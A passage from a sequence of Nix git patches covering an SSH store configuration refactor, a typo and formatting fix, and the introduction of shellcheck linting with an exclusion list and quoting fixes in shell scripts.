+* Show what `dwarffs` resolves to:
 
   ```console
-  # nix flake metadata nixpkgs
+  # nix flake metadata dwarffs
   Resolved URL:  github:edolstra/dwarffs
   Locked URL:    github:edolstra/dwarffs/f691e2c991e75edb22836f1dbe632c40324215c5
   Description:   A filesystem that fetches DWARF debug info from the Internet on demand
diff --git a/src/nix/hash.cc b/src/nix/hash.cc
index f969886eaf0..f57b224d278 100644
--- a/src/nix/hash.cc
+++ b/src/nix/hash.cc
@@ -181,7 +181,7 @@ struct CmdToBase : Command
 
     void run() override
     {
-        warn("The old format conversion sub commands of `nix hash` where deprecated in favor of `nix hash convert`.");
+        warn("The old format conversion sub commands of `nix hash` were deprecated in favor of `nix hash convert`.");
         for (auto s : args)
             logger->cout(Hash::parseAny(s, hashAlgo).to_string(hashFormat, hashFormat == HashFormat::SRI));
     }

From 3e9c3738d32bb4b9fbea0ad067b095b94cd4f907 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 23 May 2024 12:14:53 -0400
Subject: [PATCH 203/528] Create `CommonSSHStoreConfig::createSSHMaster`

By moving `host` to the config, we can do a lot further cleanups and
dedups. This anticipates a world where we always go `StoreReference` ->
`*StoreConfig` -> `Store*` rather than skipping the middle step too.

Progress on #10766

Progress on https://github.com/NixOS/hydra/issues/1164
---
 src/libstore/legacy-ssh-store.cc | 19 +++--------------
 src/libstore/legacy-ssh-store.hh |  9 --------
 src/libstore/ssh-store-config.cc | 21 ++++++++++++++++++-
 src/libstore/ssh-store-config.hh | 22 +++++++++++++------
 src/libstore/ssh-store.cc        | 36 ++++++++++++++------------------
 src/libstore/ssh.cc              |  2 +-
 src/libstore/ssh.hh              |  4 ++--
 7 files changed, 58 insertions(+), 55 deletions(-)

diff --git a/src/libstore/legacy-ssh-store.cc b/src/libstore/legacy-ssh-store.cc
index c75d50ade89..9db5ce5325e 100644
--- a/src/libstore/legacy-ssh-store.cc
+++ b/src/libstore/legacy-ssh-store.cc
@@ -32,32 +32,19 @@ LegacySSHStore::LegacySSHStore(
     std::string_view scheme,
     std::string_view host,
     const Params & params)
-    : LegacySSHStore{scheme, LegacySSHStoreConfig::extractConnStr(scheme, host), params}
-{
-}
-
-LegacySSHStore::LegacySSHStore(
-    std::string_view scheme,
-    std::string host,
-    const Params & params)
     : StoreConfig(params)
-    , CommonSSHStoreConfig(params)
+    , CommonSSHStoreConfig(scheme, host, params)
     , LegacySSHStoreConfig(params)
     , Store(params)
-    , host(host)
     , connections(make_ref<Pool<Connection>>(
         std::max(1, (int) maxConnections),
         [this]() { return openConnection(); },
         [](const ref<Connection> & r) { return r->good; }
         ))
-    , master(
-        host,
-        sshKey.get(),
-        sshPublicHostKey.get(),
+    , master(createSSHMaster(
         // Use SSH master only if using more than 1 connection.
         connections->capacity() > 1,
-        compress,
-        logFD)
+        logFD))
 {
 }
 
diff --git a/src/libstore/legacy-ssh-store.hh b/src/libstore/legacy-ssh-store.hh
index 81872996a4c..6c3c9508034 100644
--- a/src/libstore/legacy-ssh-store.hh
+++ b/src/libstore/legacy-ssh-store.hh
@@ -33,8 +33,6 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor
 
     struct Connection;
 
-    std::string host;
-
     ref<Pool<Connection>> connections;
 
     SSHMaster master;
@@ -46,13 +44,6 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor
         std::string_view host,
         const Params & params);
 
-private:
-    LegacySSHStore(
-        std::string_view scheme,
-        std::string host,
-        const Params & params);
-public:
-
     ref<Connection> openConnection();
 
     std::string getUri() override;
diff --git a/src/libstore/ssh-store-config.cc b/src/libstore/ssh-store-config.cc
index 742354cce6a..e81a9487449 100644
--- a/src/libstore/ssh-store-config.cc
+++ b/src/libstore/ssh-store-config.cc
@@ -1,10 +1,11 @@
 #include <regex>
 
 #include "ssh-store-config.hh"
+#include "ssh.hh"
 
 namespace nix {
 
-std::string CommonSSHStoreConfig::extractConnStr(std::string_view scheme, std::string_view _connStr)
+static std::string extractConnStr(std::string_view scheme, std::string_view _connStr)
 {
     if (_connStr.empty())
         throw UsageError("`%s` store requires a valid SSH host as the authority part in Store URI", scheme);
@@ -21,4 +22,22 @@ std::string CommonSSHStoreConfig::extractConnStr(std::string_view scheme, std::s
     return connStr;
 }
 
+CommonSSHStoreConfig::CommonSSHStoreConfig(std::string_view scheme, std::string_view host, const Params & params)
+    : StoreConfig(params)
+    , host(extractConnStr(scheme, host))
+{
+}
+
+SSHMaster CommonSSHStoreConfig::createSSHMaster(bool useMaster, Descriptor logFD)
+{
+    return {
+        host,
+        sshKey.get(),
+        sshPublicHostKey.get(),
+        useMaster,
+        compress,
+        logFD,
+    };
+}
+
 }
diff --git a/src/libstore/ssh-store-config.hh b/src/libstore/ssh-store-config.hh
index 09f9f23a782..5deb6f4c9e9 100644
--- a/src/libstore/ssh-store-config.hh
+++ b/src/libstore/ssh-store-config.hh
@@ -5,10 +5,14 @@
 
 namespace nix {
 
+class SSHMaster;
+
 struct CommonSSHStoreConfig : virtual StoreConfig
 {
     using StoreConfig::StoreConfig;
 
+    CommonSSHStoreConfig(std::string_view scheme, std::string_view host, const Params & params);
+
     const Setting<Path> sshKey{this, "", "ssh-key",
         "Path to the SSH private key used to authenticate to the remote machine."};
 
@@ -30,9 +34,7 @@ struct CommonSSHStoreConfig : virtual StoreConfig
      * RFC2732, but also pure addresses. The latter one is needed here to
      * connect to a remote store via SSH (it's possible to do e.g. `ssh root@::1`).
      *
-     * This function now ensures that a usable connection string is available:
-     *
-     * - If the store to be opened is not an SSH store, nothing will be done.
+     * When initialized, the following adjustments are made:
      *
      * - If the URL looks like `root@[::1]` (which is allowed by the URL parser and probably
      *   needed to pass further flags), it
@@ -44,9 +46,17 @@ struct CommonSSHStoreConfig : virtual StoreConfig
      *
      * Will throw an error if `connStr` is empty too.
      */
-    static std::string extractConnStr(
-        std::string_view scheme,
-        std::string_view connStr);
+    std::string host;
+
+    /**
+     * Small wrapper around `SSHMaster::SSHMaster` that gets most
+     * arguments from this configuration.
+     *
+     * See that constructor for details on the remaining two arguments.
+     */
+    SSHMaster createSSHMaster(
+        bool useMaster,
+        Descriptor logFD = INVALID_DESCRIPTOR);
 };
 
 }
diff --git a/src/libstore/ssh-store.cc b/src/libstore/ssh-store.cc
index 246abaac2c6..7ad934b738b 100644
--- a/src/libstore/ssh-store.cc
+++ b/src/libstore/ssh-store.cc
@@ -32,34 +32,21 @@ struct SSHStoreConfig : virtual RemoteStoreConfig, virtual CommonSSHStoreConfig
 
 class SSHStore : public virtual SSHStoreConfig, public virtual RemoteStore
 {
+public:
+
     SSHStore(
         std::string_view scheme,
-        std::string host,
+        std::string_view host,
         const Params & params)
         : StoreConfig(params)
         , RemoteStoreConfig(params)
-        , CommonSSHStoreConfig(params)
+        , CommonSSHStoreConfig(scheme, host, params)
         , SSHStoreConfig(params)
         , Store(params)
         , RemoteStore(params)
-        , host(host)
-        , master(
-            host,
-            sshKey.get(),
-            sshPublicHostKey.get(),
+        , master(createSSHMaster(
             // Use SSH master only if using more than 1 connection.
-            connections->capacity() > 1,
-            compress)
-    {
-    }
-
-public:
-
-    SSHStore(
-        std::string_view scheme,
-        std::string_view host,
-        const Params & params)
-        : SSHStore{scheme, SSHStoreConfig::extractConnStr(scheme, host), params}
+            connections->capacity() > 1))
     {
     }
 
@@ -119,6 +106,15 @@ struct MountedSSHStoreConfig : virtual SSHStoreConfig, virtual LocalFSStoreConfi
     {
     }
 
+    MountedSSHStoreConfig(std::string_view scheme, std::string_view host, StringMap params)
+        : StoreConfig(params)
+        , RemoteStoreConfig(params)
+        , CommonSSHStoreConfig(scheme, host, params)
+        , SSHStoreConfig(params)
+        , LocalFSStoreConfig(params)
+    {
+    }
+
     const std::string name() override { return "Experimental SSH Store with filesystem mounted"; }
 
     std::string doc() override
@@ -158,7 +154,7 @@ class MountedSSHStore : public virtual MountedSSHStoreConfig, public virtual SSH
         const Params & params)
         : StoreConfig(params)
         , RemoteStoreConfig(params)
-        , CommonSSHStoreConfig(params)
+        , CommonSSHStoreConfig(scheme, host, params)
         , SSHStoreConfig(params)
         , LocalFSStoreConfig(params)
         , MountedSSHStoreConfig(params)
diff --git a/src/libstore/ssh.cc b/src/libstore/ssh.cc
index 5eb63fa67a5..e5d623adf3a 100644
--- a/src/libstore/ssh.cc
+++ b/src/libstore/ssh.cc
@@ -10,7 +10,7 @@ SSHMaster::SSHMaster(
     std::string_view host,
     std::string_view keyFile,
     std::string_view sshPublicHostKey,
-    bool useMaster, bool compress, int logFD)
+    bool useMaster, bool compress, Descriptor logFD)
     : host(host)
     , fakeSSH(host == "localhost")
     , keyFile(keyFile)
diff --git a/src/libstore/ssh.hh b/src/libstore/ssh.hh
index be0a3228770..19b30e8838f 100644
--- a/src/libstore/ssh.hh
+++ b/src/libstore/ssh.hh
@@ -17,7 +17,7 @@ private:
     const std::string sshPublicHostKey;
     const bool useMaster;
     const bool compress;
-    const int logFD;
+    const Descriptor logFD;
 
     struct State
     {
@@ -43,7 +43,7 @@ public:
         std::string_view host,
         std::string_view keyFile,
         std::string_view sshPublicHostKey,
-        bool useMaster, bool compress, int logFD = -1);
+        bool useMaster, bool compress, Descriptor logFD = INVALID_DESCRIPTOR);
 
     struct Connection
     {

From 1d5d748fe403df884a23ca6ed87e0575ae619193 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 27 May 2024 22:32:52 -0400
Subject: [PATCH 204/528] Fix format

39b2a399ad94f061eea0e0fc639cf1466587959e passed CI but was landed after
the formatting change in 1d6c2316a988a97b2c4d214f582580f70c7d9586.
---
 src/libutil/windows/windows-async-pipe.cc | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/src/libutil/windows/windows-async-pipe.cc b/src/libutil/windows/windows-async-pipe.cc
index 7aae603bdb6..4fa57ca3672 100644
--- a/src/libutil/windows/windows-async-pipe.cc
+++ b/src/libutil/windows/windows-async-pipe.cc
@@ -13,8 +13,14 @@ void AsyncPipe::createAsyncPipe(HANDLE iocp)
     std::string pipeName = fmt("\\\\.\\pipe\\nix-%d-%p", GetCurrentProcessId(), (void *) this);
 
     readSide = CreateNamedPipeA(
-        pipeName.c_str(), PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE, PIPE_UNLIMITED_INSTANCES, 0, 0,
-        INFINITE, NULL);
+        pipeName.c_str(),
+        PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED,
+        PIPE_TYPE_BYTE,
+        PIPE_UNLIMITED_INSTANCES,
+        0,
+        0,
+        INFINITE,
+        NULL);
     if (!readSide)
         throw WinError("CreateNamedPipeA(%s)", pipeName);
 

From 567265ae67d0de0d4273376dffd33ea8fb141c5c Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 27 May 2024 09:40:49 -0400
Subject: [PATCH 205/528] Start getting all shell scripts passing shellcheck

Like with the formatter, we are blacklisting most files by default.

Do a few files to get us started, and get a sense of what this looks
like.
---
 .shellcheckrc                           |   2 +
 maintainers/flake-module.nix            | 235 +++++++++++++++++++++++-
 mk/common-test.sh                       |   9 +-
 mk/run-test.sh                          |   5 +-
 scripts/bigsur-nixbld-user-migration.sh |  16 +-
 tests/functional/repl.sh                |  33 ++--
 6 files changed, 274 insertions(+), 26 deletions(-)
 create mode 100644 .shellcheckrc

diff --git a/.shellcheckrc b/.shellcheckrc
new file mode 100644
index 00000000000..662e2045c0d
--- /dev/null
+++ b/.shellcheckrc
@@ -0,0 +1,2 @@
+external-sources=true
+source-path=SCRIPTDIR
diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 5dbafabaa2f..dd986e6860e 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -11,13 +11,13 @@
     pre-commit.settings = {
       hooks = {
         clang-format.enable = true;
+        shellcheck.enable = true;
         # TODO: nixfmt, https://github.com/NixOS/nixfmt/issues/153
       };
 
       excludes = [
         # We don't want to format test data
         # ''tests/(?!nixos/).*\.nix''
-        ''^tests/functional/.*$''
         ''^tests/unit/[^/]*/data/.*$''
 
         # Don't format vendored code
@@ -25,7 +25,7 @@
         ''^doc/manual/redirects\.js$''
         ''^doc/manual/theme/highlight\.js$''
 
-        # We haven't applied formatting to these files yet
+        # We haven't applied formatting to these files yet (C++)
         ''^doc/manual/redirects\.js$''
         ''^doc/manual/theme/highlight\.js$''
         ''^precompiled-headers\.h$''
@@ -428,6 +428,8 @@
         ''^src/nix/verify\.cc$''
         ''^src/nix/why-depends\.cc$''
 
+        ''^tests/functional/plugins/plugintest\.cc''
+        ''^tests/functional/test-libstoreconsumer/main\.cc''
         ''^tests/nixos/ca-fd-leak/sender\.c''
         ''^tests/nixos/ca-fd-leak/smuggler\.c''
         ''^tests/unit/libexpr-support/tests/libexpr\.hh''
@@ -490,6 +492,235 @@
         ''^tests/unit/libutil/tests\.cc''
         ''^tests/unit/libutil/url\.cc''
         ''^tests/unit/libutil/xml-writer\.cc''
+
+        # We haven't lintted these files yet (shell)
+        ''^config/install-sh$''
+        ''^misc/systemv/nix-daemon$''
+        ''^misc/bash/completion\.sh$''
+        ''^misc/fish/completion\.fish$''
+        ''^misc/zsh/completion\.zsh$''
+        ''^scripts/check-hydra-status\.sh$''
+        ''^scripts/create-darwin-volume\.sh$''
+        ''^scripts/install-darwin-multi-user\.sh$''
+        ''^scripts/install-multi-user\.sh$''
+        ''^scripts/install-nix-from-closure\.sh$''
+        ''^scripts/install-systemd-multi-user\.sh$''
+        ''^src/nix/get-env\.sh$''
+        ''^tests/functional/add\.sh$''
+        ''^tests/functional/bash-profile\.sh$''
+        ''^tests/functional/binary-cache-build-remote\.sh$''
+        ''^tests/functional/binary-cache\.sh$''
+        ''^tests/functional/brotli\.sh$''
+        ''^tests/functional/build-delete\.sh$''
+        ''^tests/functional/build-dry\.sh$''
+        ''^tests/functional/build-remote-content-addressed-fixed\.sh$''
+        ''^tests/functional/build-remote-content-addressed-floating\.sh$''
+        ''^tests/functional/build-remote-input-addressed\.sh$''
+        ''^tests/functional/build-remote-trustless-after\.sh$''
+        ''^tests/functional/build-remote-trustless-should-fail-0\.sh$''
+        ''^tests/functional/build-remote-trustless-should-pass-0\.sh$''
+        ''^tests/functional/build-remote-trustless-should-pass-1\.sh$''
+        ''^tests/functional/build-remote-trustless-should-pass-2\.sh$''
+        ''^tests/functional/build-remote-trustless-should-pass-3\.sh$''
+        ''^tests/functional/build-remote-trustless\.sh$''
+        ''^tests/functional/build-remote-with-mounted-ssh-ng\.sh$''
+        ''^tests/functional/build-remote\.sh$''
+        ''^tests/functional/build\.sh$''
+        ''^tests/functional/ca/build-cache\.sh$''
+        ''^tests/functional/ca/build-dry\.sh$''
+        ''^tests/functional/ca/build-with-garbage-path\.sh$''
+        ''^tests/functional/ca/build\.sh$''
+        ''^tests/functional/ca/common\.sh$''
+        ''^tests/functional/ca/concurrent-builds\.sh$''
+        ''^tests/functional/ca/derivation-json\.sh$''
+        ''^tests/functional/ca/duplicate-realisation-in-closure\.sh$''
+        ''^tests/functional/ca/eval-store\.sh$''
+        ''^tests/functional/ca/gc\.sh$''
+        ''^tests/functional/ca/import-derivation\.sh$''
+        ''^tests/functional/ca/new-build-cmd\.sh$''
+        ''^tests/functional/ca/nix-copy\.sh$''
+        ''^tests/functional/ca/nix-run\.sh$''
+        ''^tests/functional/ca/nix-shell\.sh$''
+        ''^tests/functional/ca/post-hook\.sh$''
+        ''^tests/functional/ca/recursive\.sh$''
+        ''^tests/functional/ca/repl\.sh$''
+        ''^tests/functional/ca/selfref-gc\.sh$''
+        ''^tests/functional/ca/signatures\.sh$''
+        ''^tests/functional/ca/substitute\.sh$''
+        ''^tests/functional/ca/why-depends\.sh$''
+        ''^tests/functional/case-hack\.sh$''
+        ''^tests/functional/check-refs\.sh$''
+        ''^tests/functional/check-reqs\.sh$''
+        ''^tests/functional/check\.sh$''
+        ''^tests/functional/chroot-store\.sh$''
+        ''^tests/functional/common\.sh$''
+        ''^tests/functional/common/init\.sh$''
+        ''^tests/functional/completions\.sh$''
+        ''^tests/functional/compression-levels\.sh$''
+        ''^tests/functional/compute-levels\.sh$''
+        ''^tests/functional/config\.sh$''
+        ''^tests/functional/db-migration\.sh$''
+        ''^tests/functional/debugger\.sh$''
+        ''^tests/functional/dependencies\.builder0\.sh$''
+        ''^tests/functional/dependencies\.sh$''
+        ''^tests/functional/derivation-json\.sh$''
+        ''^tests/functional/dump-db\.sh$''
+        ''^tests/functional/dyn-drv/build-built-drv\.sh$''
+        ''^tests/functional/dyn-drv/common\.sh$''
+        ''^tests/functional/dyn-drv/dep-built-drv\.sh$''
+        ''^tests/functional/dyn-drv/eval-outputOf\.sh$''
+        ''^tests/functional/dyn-drv/old-daemon-error-hack\.sh$''
+        ''^tests/functional/dyn-drv/recursive-mod-json\.sh$''
+        ''^tests/functional/dyn-drv/text-hashed-output\.sh$''
+        ''^tests/functional/eval-store\.sh$''
+        ''^tests/functional/eval\.sh$''
+        ''^tests/functional/experimental-features\.sh$''
+        ''^tests/functional/export-graph\.sh$''
+        ''^tests/functional/export\.sh$''
+        ''^tests/functional/extra-sandbox-profile\.sh$''
+        ''^tests/functional/fetchClosure\.sh$''
+        ''^tests/functional/fetchGit\.sh$''
+        ''^tests/functional/fetchGitRefs\.sh$''
+        ''^tests/functional/fetchGitSubmodules\.sh$''
+        ''^tests/functional/fetchGitVerification\.sh$''
+        ''^tests/functional/fetchMercurial\.sh$''
+        ''^tests/functional/fetchPath\.sh$''
+        ''^tests/functional/fetchTree-file\.sh$''
+        ''^tests/functional/fetchurl\.sh$''
+        ''^tests/functional/filter-source\.sh$''
+        ''^tests/functional/fixed\.builder1\.sh$''
+        ''^tests/functional/fixed\.builder2\.sh$''
+        ''^tests/functional/fixed\.sh$''
+        ''^tests/functional/flakes/absolute-attr-paths\.sh$''
+        ''^tests/functional/flakes/absolute-paths\.sh$''
+        ''^tests/functional/flakes/build-paths\.sh$''
+        ''^tests/functional/flakes/bundle\.sh$''
+        ''^tests/functional/flakes/check\.sh$''
+        ''^tests/functional/flakes/circular\.sh$''
+        ''^tests/functional/flakes/common\.sh$''
+        ''^tests/functional/flakes/config\.sh$''
+        ''^tests/functional/flakes/develop\.sh$''
+        ''^tests/functional/flakes/flake-in-submodule\.sh$''
+        ''^tests/functional/flakes/flakes\.sh$''
+        ''^tests/functional/flakes/follow-paths\.sh$''
+        ''^tests/functional/flakes/init\.sh$''
+        ''^tests/functional/flakes/inputs\.sh$''
+        ''^tests/functional/flakes/mercurial\.sh$''
+        ''^tests/functional/flakes/prefetch\.sh$''
+        ''^tests/functional/flakes/run\.sh$''
+        ''^tests/functional/flakes/search-root\.sh$''
+        ''^tests/functional/flakes/show\.sh$''
+        ''^tests/functional/flakes/unlocked-override\.sh$''
+        ''^tests/functional/fmt\.sh$''
+        ''^tests/functional/fmt\.simple\.sh$''
+        ''^tests/functional/function-trace\.sh$''
+        ''^tests/functional/gc-auto\.sh$''
+        ''^tests/functional/gc-concurrent\.builder\.sh$''
+        ''^tests/functional/gc-concurrent\.sh$''
+        ''^tests/functional/gc-concurrent2\.builder\.sh$''
+        ''^tests/functional/gc-non-blocking\.sh$''
+        ''^tests/functional/gc-runtime\.sh$''
+        ''^tests/functional/gc\.sh$''
+        ''^tests/functional/git-hashing/common\.sh$''
+        ''^tests/functional/git-hashing/simple\.sh$''
+        ''^tests/functional/hash-convert\.sh$''
+        ''^tests/functional/hash-path\.sh$''
+        ''^tests/functional/help\.sh$''
+        ''^tests/functional/import-derivation\.sh$''
+        ''^tests/functional/impure-derivations\.sh$''
+        ''^tests/functional/impure-env\.sh$''
+        ''^tests/functional/impure-eval\.sh$''
+        ''^tests/functional/install-darwin\.sh$''
+        ''^tests/functional/lang-test-infra\.sh$''
+        ''^tests/functional/lang\.sh$''
+        ''^tests/functional/lang/framework\.sh$''
+        ''^tests/functional/legacy-ssh-store\.sh$''
+        ''^tests/functional/linux-sandbox\.sh$''
+        ''^tests/functional/local-overlay-store/add-lower-inner\.sh$''
+        ''^tests/functional/local-overlay-store/add-lower\.sh$''
+        ''^tests/functional/local-overlay-store/bad-uris\.sh$''
+        ''^tests/functional/local-overlay-store/build-inner\.sh$''
+        ''^tests/functional/local-overlay-store/build\.sh$''
+        ''^tests/functional/local-overlay-store/check-post-init-inner\.sh$''
+        ''^tests/functional/local-overlay-store/check-post-init\.sh$''
+        ''^tests/functional/local-overlay-store/common\.sh$''
+        ''^tests/functional/local-overlay-store/delete-duplicate-inner\.sh$''
+        ''^tests/functional/local-overlay-store/delete-duplicate\.sh$''
+        ''^tests/functional/local-overlay-store/delete-refs-inner\.sh$''
+        ''^tests/functional/local-overlay-store/delete-refs\.sh$''
+        ''^tests/functional/local-overlay-store/gc-inner\.sh$''
+        ''^tests/functional/local-overlay-store/gc\.sh$''
+        ''^tests/functional/local-overlay-store/optimise-inner\.sh$''
+        ''^tests/functional/local-overlay-store/optimise\.sh$''
+        ''^tests/functional/local-overlay-store/redundant-add-inner\.sh$''
+        ''^tests/functional/local-overlay-store/redundant-add\.sh$''
+        ''^tests/functional/local-overlay-store/remount\.sh$''
+        ''^tests/functional/local-overlay-store/stale-file-handle-inner\.sh$''
+        ''^tests/functional/local-overlay-store/stale-file-handle\.sh$''
+        ''^tests/functional/local-overlay-store/verify-inner\.sh$''
+        ''^tests/functional/local-overlay-store/verify\.sh$''
+        ''^tests/functional/logging\.sh$''
+        ''^tests/functional/misc\.sh$''
+        ''^tests/functional/multiple-outputs\.sh$''
+        ''^tests/functional/nar-access\.sh$''
+        ''^tests/functional/nested-sandboxing\.sh$''
+        ''^tests/functional/nested-sandboxing/command\.sh$''
+        ''^tests/functional/nix-build\.sh$''
+        ''^tests/functional/nix-channel\.sh$''
+        ''^tests/functional/nix-collect-garbage-d\.sh$''
+        ''^tests/functional/nix-copy-ssh-common\.sh$''
+        ''^tests/functional/nix-copy-ssh-ng\.sh$''
+        ''^tests/functional/nix-copy-ssh\.sh$''
+        ''^tests/functional/nix-daemon-untrusting\.sh$''
+        ''^tests/functional/nix-profile\.sh$''
+        ''^tests/functional/nix-shell\.sh$''
+        ''^tests/functional/nix_path\.sh$''
+        ''^tests/functional/optimise-store\.sh$''
+        ''^tests/functional/output-normalization\.sh$''
+        ''^tests/functional/parallel\.builder\.sh$''
+        ''^tests/functional/parallel\.sh$''
+        ''^tests/functional/pass-as-file\.sh$''
+        ''^tests/functional/path-from-hash-part\.sh$''
+        ''^tests/functional/path-info\.sh$''
+        ''^tests/functional/placeholders\.sh$''
+        ''^tests/functional/plugins\.sh$''
+        ''^tests/functional/post-hook\.sh$''
+        ''^tests/functional/pure-eval\.sh$''
+        ''^tests/functional/push-to-store-old\.sh$''
+        ''^tests/functional/push-to-store\.sh$''
+        ''^tests/functional/read-only-store\.sh$''
+        ''^tests/functional/readfile-context\.sh$''
+        ''^tests/functional/recursive\.sh$''
+        ''^tests/functional/referrers\.sh$''
+        ''^tests/functional/remote-store\.sh$''
+        ''^tests/functional/repair\.sh$''
+        ''^tests/functional/restricted\.sh$''
+        ''^tests/functional/search\.sh$''
+        ''^tests/functional/secure-drv-outputs\.sh$''
+        ''^tests/functional/selfref-gc\.sh$''
+        ''^tests/functional/shell\.sh$''
+        ''^tests/functional/shell\.shebang\.sh$''
+        ''^tests/functional/signing\.sh$''
+        ''^tests/functional/simple\.builder\.sh$''
+        ''^tests/functional/simple\.sh$''
+        ''^tests/functional/ssh-relay\.sh$''
+        ''^tests/functional/store-info\.sh$''
+        ''^tests/functional/structured-attrs\.sh$''
+        ''^tests/functional/substitute-with-invalid-ca\.sh$''
+        ''^tests/functional/suggestions\.sh$''
+        ''^tests/functional/supplementary-groups\.sh$''
+        ''^tests/functional/tarball\.sh$''
+        ''^tests/functional/test-infra\.sh$''
+        ''^tests/functional/test-libstoreconsumer\.sh$''
+        ''^tests/functional/timeout\.sh$''
+        ''^tests/functional/toString-path\.sh$''
+        ''^tests/functional/user-envs-migration\.sh$''
+        ''^tests/functional/user-envs-test-case\.sh$''
+        ''^tests/functional/user-envs\.builder\.sh$''
+        ''^tests/functional/user-envs\.sh$''
+        ''^tests/functional/why-depends\.sh$''
+        ''^tests/functional/zstd\.sh$''
+        ''^tests/unit/libutil/data/git/check-data\.sh$''
       ];
     };
 
diff --git a/mk/common-test.sh b/mk/common-test.sh
index 2abea7887d1..de24b6fccb6 100644
--- a/mk/common-test.sh
+++ b/mk/common-test.sh
@@ -1,19 +1,24 @@
+# shellcheck shell=bash
+
 # Remove overall test dir (at most one of the two should match) and
 # remove file extension.
+
+# shellcheck disable=SC2154
 test_name=$(echo -n "$test" | sed \
     -e "s|^tests/unit/[^/]*/data/||" \
     -e "s|^tests/functional/||" \
     -e "s|\.sh$||" \
     )
 
+# shellcheck disable=SC2016
 TESTS_ENVIRONMENT=(
     "TEST_NAME=$test_name"
     'NIX_REMOTE='
     'PS4=+(${BASH_SOURCE[0]-$0}:$LINENO) '
 )
 
-: ${BASH:=/usr/bin/env bash}
+read -r -a bash <<< "${BASH:-/usr/bin/env bash}"
 
 run () {
-   cd "$(dirname $1)" && env "${TESTS_ENVIRONMENT[@]}" $BASH -x -e -u -o pipefail $(basename $1)
+   cd "$(dirname "$1")" && env "${TESTS_ENVIRONMENT[@]}" "${bash[@]}" -x -e -u -o pipefail "$(basename "$1")"
 }
diff --git a/mk/run-test.sh b/mk/run-test.sh
index 1256bfcf748..543c845e122 100755
--- a/mk/run-test.sh
+++ b/mk/run-test.sh
@@ -26,12 +26,13 @@ run_test () {
 
 run_test
 
-if [ $status -eq 0 ]; then
+if [[ "$status" = 0 ]]; then
   echo "$post_run_msg [${green}PASS$normal]"
-elif [ $status -eq 99 ]; then
+elif [[ "$status" = 99 ]]; then
   echo "$post_run_msg [${yellow}SKIP$normal]"
 else
   echo "$post_run_msg [${red}FAIL$normal]"
+  # shellcheck disable=SC2001
   echo "$log" | sed 's/^/    /'
   exit "$status"
 fi
diff --git a/scripts/bigsur-nixbld-user-migration.sh b/scripts/bigsur-nixbld-user-migration.sh
index f1619fd56d3..0eb312e07cd 100755
--- a/scripts/bigsur-nixbld-user-migration.sh
+++ b/scripts/bigsur-nixbld-user-migration.sh
@@ -3,7 +3,7 @@
 ((NEW_NIX_FIRST_BUILD_UID=301))
 
 id_available(){
-	dscl . list /Users UniqueID | grep -E '\b'$1'\b' >/dev/null
+	dscl . list /Users UniqueID | grep -E '\b'"$1"'\b' >/dev/null
 }
 
 change_nixbld_names_and_ids(){
@@ -26,18 +26,18 @@ change_nixbld_names_and_ids(){
 			fi
 		done
 
-		if [[ $name == _* ]]; then
+		if [[ "$name" == _* ]]; then
 			echo "      It looks like $name has already been renamed--skipping."
 		else
 			# first 3 are cleanup, it's OK if they aren't here
-			sudo dscl . delete /Users/$name dsAttrTypeNative:_writers_passwd &>/dev/null || true
-			sudo dscl . change /Users/$name NFSHomeDirectory "/private/var/empty 1" "/var/empty" &>/dev/null || true
+			sudo dscl . delete "/Users/$name" dsAttrTypeNative:_writers_passwd &>/dev/null || true
+			sudo dscl . change "/Users/$name" NFSHomeDirectory "/private/var/empty 1" "/var/empty" &>/dev/null || true
 			# remove existing user from group
-			sudo dseditgroup -o edit -t user -d $name nixbld || true
-			sudo dscl . change /Users/$name UniqueID $uid $next_id
-			sudo dscl . change /Users/$name RecordName $name _$name
+			sudo dseditgroup -o edit -t user -d "$name" nixbld || true
+			sudo dscl . change "/Users/$name" UniqueID "$uid" "$next_id"
+			sudo dscl . change "/Users/$name" RecordName "$name" "_$name"
 			# add renamed user to group
-			sudo dseditgroup -o edit -t user -a _$name nixbld
+			sudo dseditgroup -o edit -t user -a "_$name" nixbld
 			echo "      $name migrated to _$name (uid: $next_id)"
 		fi
 	done < <(dscl . list /Users UniqueID | grep nixbld | sort -n -k2)
diff --git a/tests/functional/repl.sh b/tests/functional/repl.sh
index f11fa714053..222145a7a3a 100644
--- a/tests/functional/repl.sh
+++ b/tests/functional/repl.sh
@@ -1,3 +1,4 @@
+#!/usr/bin/env bash
 source common.sh
 
 testDir="$PWD"
@@ -21,11 +22,14 @@ import $testDir/undefined-variable.nix
 "
 
 testRepl () {
-    local nixArgs=("$@")
+    local nixArgs
+    nixArgs=("$@")
     rm -rf repl-result-out || true # cleanup from other runs backed by a foreign nix store
-    local replOutput="$(nix repl "${nixArgs[@]}" <<< "$replCmds")"
+    local replOutput
+    replOutput="$(nix repl "${nixArgs[@]}" <<< "$replCmds")"
     echo "$replOutput"
-    local outPath=$(echo "$replOutput" |&
+    local outPath
+    outPath=$(echo "$replOutput" |&
         grep -o -E "$NIX_STORE_DIR/\w*-simple")
     nix path-info "${nixArgs[@]}" "$outPath"
     [ "$(realpath ./repl-result-out)" == "$outPath" ] || fail "nix repl :bl doesn't make a symlink"
@@ -34,11 +38,11 @@ testRepl () {
 
     # simple.nix prints a PATH during build
     echo "$replOutput" | grepQuiet -s 'PATH=' || fail "nix repl :log doesn't output logs"
-    local replOutput="$(nix repl "${nixArgs[@]}" <<< "$replFailingCmds" 2>&1)"
+    replOutput="$(nix repl "${nixArgs[@]}" <<< "$replFailingCmds" 2>&1)"
     echo "$replOutput"
     echo "$replOutput" | grepQuiet -s 'This should fail' \
       || fail "nix repl :log doesn't output logs for a failed derivation"
-    local replOutput="$(nix repl --show-trace "${nixArgs[@]}" <<< "$replUndefinedVariable" 2>&1)"
+    replOutput="$(nix repl --show-trace "${nixArgs[@]}" <<< "$replUndefinedVariable" 2>&1)"
     echo "$replOutput"
